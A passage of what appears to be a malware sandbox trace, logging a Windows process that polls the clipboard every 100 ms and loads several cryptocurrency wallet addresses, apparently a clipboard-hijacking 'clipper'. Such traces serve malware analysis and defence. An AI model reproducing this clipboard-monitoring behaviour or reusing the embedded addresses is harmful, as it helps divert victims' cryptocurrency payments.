lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0053.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0053.917] Sleep (dwMilliseconds=0x64) [0054.025] GetOpenClipboardWindow () returned 0x0 [0054.025] OpenClipboard (hWndNewOwner=0x0) returned 1 [0054.025] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0054.025] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0054.025] GlobalSize (hMem=0x6069b8) returned 0x42 [0054.025] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0054.025] GlobalUnlock (hMem=0x6069b8) returned 1 [0054.025] CloseClipboard () returned 1 [0054.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0054.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0054.029] Sleep (dwMilliseconds=0x64) [0054.135] GetOpenClipboardWindow () returned 0x0 [0054.135] OpenClipboard (hWndNewOwner=0x0) returned 1 [0054.135] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0054.135] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0054.135] GlobalSize (hMem=0x6069b8) returned 0x42 [0054.135] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0054.135] GlobalUnlock (hMem=0x6069b8) returned 1 [0054.135] CloseClipboard () returned 1 [0054.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 